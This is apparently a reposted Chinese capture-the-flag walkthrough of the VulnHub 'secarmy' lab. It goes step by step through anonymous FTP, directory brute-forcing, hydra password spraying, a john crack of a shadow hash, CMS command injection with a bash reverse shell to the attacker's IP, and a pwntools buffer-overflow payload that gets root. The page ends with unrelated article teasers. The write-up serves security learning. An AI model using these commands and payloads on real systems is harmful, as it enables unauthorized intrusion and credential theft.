vulnhub靶场——secarmy

news2025/5/15 10:42:01

靶机:secarmy靶机,IP地址为192.168.230.18

攻击:kali,IP地址为192.168.230.134

靶机和攻击机都采用VMware虚拟机,都采用NAT模式


端口扫描:

nmap 192.168.230.18 -O -A -p- --reason -sV

21/tcp (ftp): 开放的FTP服务,运行的是vsftpd 2.0.8或更新版本。并且允许匿名登录。

22/tcp (ssh): 开放的SSH服务,使用OpenSSH 7.6p1 Ubuntu 4ubuntu0.3版本。提供了RSA、ECDSA和ED25519三种类型的公钥指纹。

80/tcp (http): 开放的HTTP服务,使用Apache httpd 2.4.29版本。网站标题为“Totally Secure Website”,暗示可能是一个测试环境或者故意设置的不安全示例。

1337/tcp: 这个端口开放的服务未能被准确识别(标记为waste?),但是从返回的数据中可以推测出它可能是某种密码恢复设施接口。尝试与之交互时,它要求提供一个“超级秘密令牌”才能继续。


FTP信息探测:

先匿名登录ftp,无密码直接Enter回车就行:

ftp anonymous@192.168.230.18

anonymous是匿名方式登录

pwd

ls -la

发现没有任何目录和文件,无结果


80端口探测:

提到了80端口开放的HTTP服务,先进入网站看看:

http://192.168.230.18


使用whatweb识别网站配置:

whatweb http://192.168.230.18 -v


用dirsearch扫不出来隐藏目录,换成gobuster,查找隐藏的php、html、txt、zip文件:

gobuster dir -u http://192.168.230.18 -w /home/kali/Desktop/test/dic/directory-list-2.3-big.txt -x php,html,txt,zip

字典太大了,不用跑完也行,但能看出有个/anon目录


访问http://192.168.230.18/anon

查看源代码:

得到uno:luc10r4m0n


将这一组凭证保存下来,放置在文件test.txt中,使用hydra进行验证这一组凭证,因为有先前的两个端口21/ftp和22/ssh

hydra -C test.txt 192.168.230.18 ftp

hydra -C test.txt 192.168.230.18 ssh

可以看到ftp服务和ssh服务都能登录


FTP登录:

ftp uno@192.168.230.18

看到有个flag1.txt和readme.txt,先下载下来

get flag1.txt

get readme.txt

得知:

flag1{fb9e88}

要获取第二个用户名,密码已经知道是4b3l4rd0fru705


用户名爆破:

使用ssh服务:

ssh uno@192.168.230.18


查看当前系统有什么用户:

ls -l /home

cat /etc/passwd | grep /bin/bash


打印出有执行权限的用户名:

cat /etc/passwd | grep /bin/bash | awk -F':x' '{print $1}'

另存为users.txt文件,并继续爆破

hydra -L users.txt -p 4b3l4rd0fru705 192.168.230.18 ssh

得知第二个用户是dos:4b3l4rd0fru705


grep妙用与编码处理:

用第二个用户进行ssh登录:

ssh dos@192.168.230.18

ls -la

cat readme.txt


使用grep -l命令在files文件夹里查找字符串:

(grep -l是只返回文件名,不返回其他)

grep -l "a8211ac1853a1235d48829414626512a" files/*

cat files/file4444.txt后看到文件末尾有提示“Look inside file3131.txt”

cd files

cat file3131.txt


放随波逐流和赛博厨师里看看:

发现是个zip文件而且经过base64编码


将其输出成1.zip,并解压:

echo '***' | base64 -d > 1.zip

unzip 1.zip

得知:

flag2{624a21}

secret token:

c8e6afe38c2ae9a0283ecfb4e1b7c10f7d96e54c39e727d0e5515ba24a4d1f1b

提到WASTE和token,一般都是nc连接才用得到(之前做过中科大hackergame2024时遇到过需要输入token),而且对应上先前的1337/waste,下一步应该就是nc连接了


1337端口测试:

nc连接输入token:

nc 192.168.230.18 1337

显示第三个用户是tres:r4f43l71n4j3r0


继续ssh连接:

ssh tres@192.168.230.18

得知:

flag3{ac66cf}

看来下一步就是需要逆向secarmy-village文件了


strings查看与UPX解壳:

先将secarmy-village下载下来:

scp tres@192.168.230.18:/home/tres/secarmy-village /home/kali/Desktop/test/dic/


查壳发现有个UPX壳:

upx -d E:\downloads\secarmy-village

成功脱除UPX壳


再上传脱壳后的secarmy-village文件,用strings查看:

strings secarmy-village | grep user

(根据先前的经验一般都是有user等关键词)

得知用户名及密码:

cuatro:p3dr00l1v4r3z


继续ssh连接:

ssh cuatro@192.168.230.18

得知:

flag4{1d6b06}

访问/justanothergallery路径来查看这些图片


二维码批量解析:

访问http://192.168.230.18/justanothergallery

发现是一堆二维码图片


先下载全部的二维码:

wget -r -A.png http://192.168.230.18/justanothergallery

-r:递归地下载网页

-A:指定.png文件下载


压缩为qr.zip文件,并下载到本机上:

tar zcvf qr.zip qr


再用QR_Research来一个个扫码:

最后在image-53.png扫出用户名和密码:cinco:ruy70m35


继续ssh连接:

ssh cinco@192.168.230.18

得知:

flag5{b1e870}

寻找Cinco用户的秘密空间,在主目录之外


hash暴力破解:

查找所有属于用户cinco的文件或目录:

find / -user cinco 2>/dev/null

找到关键词“secret”,进入该目录,赋予shadow.bak权限并查看该文件内容:

ROCKYOU?有点懵,先看到一串特别长的字符串:

seis:$6$MCzqLn0Z2KB3X3TM$opQCwc/JkRGzfOg/WTve8X/zSQLwVf98I.RisZCFo0mTQzpvc5zqm/0OJ5k.PITcFJBnsn7Nu2qeFP8zkBwx7.:18532:0:99999:7:::

问问AI,发现是用户seis的加密密码


先将shadow.bak文件下载下来:

scp cinco@192.168.230.18:/cincos-secrets/shadow.bak /home/kali

经了解有个rockyou.txt的字典文件,可以用join来配合进行爆破:

john --wordlist=rockyou.txt shadow.bak

爆出来用户名及密码:

seis:Hogwarts


继续ssh连接:

ssh seis@192.168.230.18

得知:

flag6{779a25}


常见的网站路径及命令执行漏洞:

访问网页,发现是个Shell CMS:

http://192.168.230.18/shellcmsdashboard

先用dirsearch扫描一下,扫出来有个robots.txt文件:

dirsearch -u "http://192.168.230.18/shellcmsdashboard" -e*

访问之后看到直接给出用户名及密码admin/qwerty:

登录之后提示去访问/aabbzzee.php:


访问后发现有个输入框:

能够执行ls命令,但想要执行cat readme9213.txt时却没有反应:

接下来可以直接burp爆破一下哪些命令可以执行,但按照经验先进行一下bash反弹shell:

nc -lvvp 9999

bash -c "bash -i >& /dev/tcp/192.168.230.134/9999 0>&1"

得知第七个用户的密码是6u1l3rm0p3n473,但是不知道用户名是什么


根据先前的经验,继续用hydra爆破:

hydra -L users.txt -p 6u1l3rm0p3n473 192.168.230.18 ssh

爆出用户名及密码:

siete:6u1l3rm0p3n473


base系列的位运算:

继续ssh连接:

ssh siete@192.168.230.18

得知flag和一堆文件:

flag7{d5c26a}


直接将所有东西下载下来再看:

ftp siete@192.168.230.18

mget *

password.zip需要解压密码

根据hint.txt的提示,Base 10和Base 256进行某种运算结果是Base 265,这里应该是提示进行位运算

根据message.txt的内容,应该是原始数据

根据key.txt的内容,应该是与x进行位运算

不是很懂,还是让AI来分析一下:

def decrypt_message():
    # 从message.txt获取的数字序列
    numbers = [11, 29, 27, 25, 10, 21, 1, 0, 23, 10, 17, 12, 13, 8]
    # 从key.txt获取的密钥
    key = ord('x')
    
    # 将数字转换为字节并应用XOR解密
    decrypted = bytes([n ^ key for n in numbers])
    
    # 输出解密结果
    print(f"解密后的密码: {decrypted.decode('utf-8')}")

if __name__ == "__main__":
    decrypt_message()

得知解压密码是:secarmyxoritup


unzip password.zip,成功解压password.zip文件得到password.txt文件:

得知下一个用户的密码是m0d3570v1ll454n4


继续用hydra爆破:

hydra -L users.txt -p m0d3570v1ll454n4 192.168.230.18 ssh

爆出用户ocho:m0d3570v1ll454n4


流量包分析与键盘密码:

继续ssh连接:

ssh ocho@192.168.230.18

得知:

flag8{5bcf53}

将keyboard.pcapng下载下来:

scp ocho@192.168.230.18:/home/ocho/keyboard.pcapng /home/kali/Desktop/test/dic/


wireshark打开,http.request.method==GET,发现none.txt出现多次,追踪http流:

报文内容太长了,让AI分析一下可疑的地方:

直接找出来了:"mjwfr?2b6j3a5fx/"


去keyboard网站解密:https://www.dcode.fr/keyboard-shift-cipher

解出用户名及密码:

nueve:355u4z4rc0


继续ssh连接:

ssh nueve@192.168.230.18

得知:

flag9{689d3e}


应该是要通过orangutan来进行提权?用strings分析一下,发现关键词:

看来是CTF里的pwn啊,先下载下来

ftp nueve@192.168.230.18

get orangutan


检查附件的保护方式,发现是64位程序,开启了NX保护:

checksec orangutan


用IDA打开,shift+F12发现“/bin/sh”:

到这里不会了,pwn不熟悉,直接看国外的WP了

from pwn import *
offset = b"A" * 24
secret = b"\xbe\xba\xfe\xca"
payload = offset + secret
conn = remote('192.168.230.18',8000)
print(conn.recvline())
print(conn.recvline())
conn.sendline(payload)
conn.interactive()

先在靶机运行:socat TCP-LISTEN:8000,fork EXEC:./orangutan

再在kali上运行:python test.py

cd /root

ls -la

cat root.txt

得知:

flag10{33c9661bfd}


总结:

flag1{fb9e88}

flag2{624a21}

flag3{ac66cf}

flag4{1d6b06}

flag5{b1e870}

flag6{779a25}

flag7{d5c26a}

flag8{5bcf53}

flag9{689d3e}

flag10{33c9661bfd}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2376030.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

labview硬件采集

(1)硬件的描述 (2)实验步骤1: (3)实验步骤2 库名/路径的选择要使用32位的开发资料 (4)实验步骤3 (5)实验步骤4 找到DoSetV12() 设置返回类型 设置chan 设置state labv…

openfeign与dubbo调用下载excel实践

一、前言 openfeign和dubbo均是rpc框架 RPC(Remote Procedure Call,远程过程调用)框架 是一种允许程序像调用本地方法一样调用远程服务器上函数的技术。它隐藏了底层网络通信的复杂性,让开发者可以专注于业务逻辑,实现…

ISP有感自发

一、黑电平 由于传感器,即便在无光的情况下,依然会产生微小的暗电流,这些暗电流可能是噪点会影响后期的调试。因此,我们便将这些电流处理为0,成为纯黑的颜色。可以在源头消除这些误差。 如何矫正黑电平: …

web 自动化之 PO 设计模式详解

文章目录 一、什么是 POM二、如何基于 POM 进行自动化框架架构?1、base 层封装2、pageobjects 层封装3、TestCases 层封装 三、元素和方法分离&数据分离1、哪些部分可以进行分离2、示例代码 四、总结 一、什么是 POM POM page object model 页面对象模型 WEB 自…

NVMe简介1

它分为两部分,这里是第一部分。 NVM Express(NVMe)是一种高性能、可扩展的接口协议,用于通过PCI express(PCIe)总线,实现主机软件与NVM设备之间的通信。目前,由于NVMe SSD相比于SATA…

【python机器学习】Day 25 异常处理

知识点: 异常处理机制debug过程中的各类报错try-except机制try-except-else-finally机制 在即将进入深度学习专题学习前,我们最后差缺补漏,把一些常见且重要的知识点给他们补上,加深对代码和流程的理解。 借助ai写代码的时候&…

数学建模初等模型应用

一、目的 掌握初等模型的建模方法,对简单的初等模型能借助Matlab工具软件进行辅助建模、求解和检验。 二、实验内容与设计思想(设计思路、主要代码分析) 1、预测鱼的质量 (1)设计思路:使用线性回归模型预测鱼的质量…

【MCP教程系列】SpringBoot 搭建基于 Spring AI 的 SSE 模式 MCP 服务

原文地址:https://developer.aliyun.com/article/1662946 在当今快速发展的AI技术背景下,如何高效地集成模型能力成为开发者关注的重点。本文将手把手教你如何基于 Spring AI 搭建支持 SSE(Server-Sent Events)模式的 MCP 服务 相…

利用散点图探索宇航员特征与太空任务之间的关系

利用散点图探索宇航员特征与太空任务之间的关系 import matplotlib.pyplot as plt import numpy as np import pandas as pdfrom flexitext import flexitext from matplotlib.patches import FancyArrowPatchplt.rcParams.update({"font.family": "Corbel&quo…

Qwen集成clickhouse实现RAG

一、RAG概要 RAG(Retrieval-Augmented Generation,检索增强生成) 是一种结合了信息检索技术与语言生成模型的人工智能技术。旨在通过检索相关文档来增强大模型的生成能力,从而提高预测的质量和准确性。RAG模型在生成文本或回答…

Excel分组计算求和的两种实现方案

文章目录 背景样例数据方案一、函数求和实现步骤缺点 方案二、数据透视表实现步骤优点 背景 在Excel文档中,经常会进行数据的求和计算,可使用不同的方式实现,记录下来,方便备查。 样例数据 已有商品销量信息,包含销…

LLM定制新路径:微调与上下文学习的博弈与融合

在当今人工智能的浪潮中,大型语言模型(LLMs)已成为推动行业进步的关键力量。无论是自然语言处理、文本生成还是多模态应用,LLMs都在展现着它们的强大能力。然而,当我们将这些强大的模型应用于特定的下游任务时&#xf…

嵌入式中深入理解C语言中的指针:类型、区别及应用

在嵌入式开发中,C语言是一种基础且极为重要的编程语言,其中指针作为一个非常强大且灵活的工具,广泛应用于内存管理、动态数据结构的实现以及函数参数的传递等方面。然而,尽管指针的使用极为常见,很多开发者在掌握其基本使用后,往往对指针的深入理解还不够。本文将深入分析…

香港维尔利健康科技集团成都区域运营中心投入使用,西南市场战略全面提速

近日,香港维尔利健康科技集团正式宣布,其位于四川成都的西南区域运营中心已全面建成并投入使用。该中心将集设备调配、技术支持、客户服务、运营管理及数字健康平台维护于一体,成为集团在中国内地智慧医疗战略版图中的关键枢纽,对…

STM32CubeMX HAL库 串口的使用

1.配置 2.开启中断后,生成代码 3.串口的接收 1).开启空闲中断接收 __HAL_UART_ENABLE_IT(huart, UART_IT_IDLE); // 关键步骤:启用空闲中断 2). 启动接收 调用 HAL_UARTEx_ReceiveToIdle_IT 启动异步接收,可以使用…

flutter 视频通话flutter_webrtc

flutter 比较热门的库 flutter_webrtc | Flutter package agora_rtc_engine | Flutter package 我使用的是flutter_webrtc 下面是官方推荐的demo库 GitHub - flutter-webrtc/flutter-webrtc-demo: Demo for flutter-webrtc 其中 https://demo.cloudwebrtc.com:8086/ 已经停…

Babylon.js学习之路《四、Babylon.js 中的相机(Camera)与视角控制》

文章目录 1. 引言:为什么相机是 3D 场景的“眼睛”?1.1 相机的核心作用1.2 常见相机类型概览 2. 相机基础参数解析2.1 通用属性2.2 相机坐标系 3. 详解常用相机类型3.1 自由相机(FreeCamera)3.2 弧形旋转相机(ArcRotat…

【Redis实战篇】秒杀优化

1. 秒杀优化-异步秒杀思路 我们来回顾一下下单流程 当用户发起请求,此时会请求nginx,nginx会访问到tomcat,而tomcat中的程序,会进行串行操作,分成如下几个步骤 1、查询优惠卷 2、判断秒杀库存是否足够 3、查询订单…

Trae IDE:AI深度集成的智能开发环境

(以高效人机协作重塑编程体验) 概述 Trae IDE(发音 /treɪ/)是一款深度集成AI能力的现代化开发工具,结合传统IDE的完备功能与前沿AI技术,提供智能问答、代码自动补全、跨文件编程及AI Agent驱动的自动化开…

【大模型】AI智能体Coze 知识库从使用到实战详解

目录 一、前言 二、知识库介绍 2.1 coze 知识库功能介绍 2.2 coze 知识库应用场景 2.3 coze 知识库类型 2.4 coze 知识库权限说明 2.5 coze 知识库与记忆对比 2.6 知识库的使用流程 三、知识库创建与使用 3.1 创建知识库入口 3.2 创建文本知识库 3.2.1 上传文件 3.…